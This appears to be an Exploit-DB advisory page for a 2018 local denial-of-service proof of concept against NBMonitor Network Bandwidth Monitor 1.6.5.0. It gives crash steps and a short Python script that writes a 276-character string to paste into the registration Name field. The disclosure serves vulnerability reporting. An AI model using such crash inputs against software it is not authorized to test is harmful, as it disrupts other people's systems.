NBMonitor Network Bandwidth Monitor 1.6.5.0 - 'Name' Denial of Service (PoC)

vendor:

NBMonitor Network Bandwidth Monitor

by:

Luis Martinez

7.8

CVSS

HIGH

Denial of Service (DoS) Local

119

CWE

Product Name: NBMonitor Network Bandwidth Monitor

Affected Version From: 1.6.5.0

Affected Version To: 1.6.5.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:nsauditor:nbmonitor_network_bandwidth_monitor:1.6.5.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2018

NBMonitor Network Bandwidth Monitor 1.6.5.0 – ‘Name’ Denial of Service (PoC)

A buffer overflow vulnerability exists in NBMonitor Network Bandwidth Monitor 1.6.5.0 when a maliciously crafted 'Name' field is supplied, which could allow an attacker to cause a denial of service condition.

Mitigation:

Upgrade to the latest version of NBMonitor Network Bandwidth Monitor.

Source

Exploit-DB raw data:

# Exploit Title: NBMonitor Network Bandwidth Monitor 1.6.5.0 - 'Name' Denial of Service (PoC)
# Author: Luis Martinez
# Date: 2018-12-27
# Vendor Homepage: www.nsauditor.com
# Software Link : http://www.nbmonitor.com/downloads/nbmonitor_setup.exe
# Tested Version: 1.6.5.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python NBMonitor_1.6.5.0.py
# 2.- Open NBMonitor_1.6.5.0.txt and copy content to clipboard
# 3.- Open NBMonitor
# 4.- Register -> Enter Registration Code
# 5.- Paste ClipBoard on "Name:"
# 6.- Key: -> 1
# 7.- OK
# 8.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 276
f = open ("NBMonitor_1.6.5.0.txt", "w")
f.write(buffer)
f.close()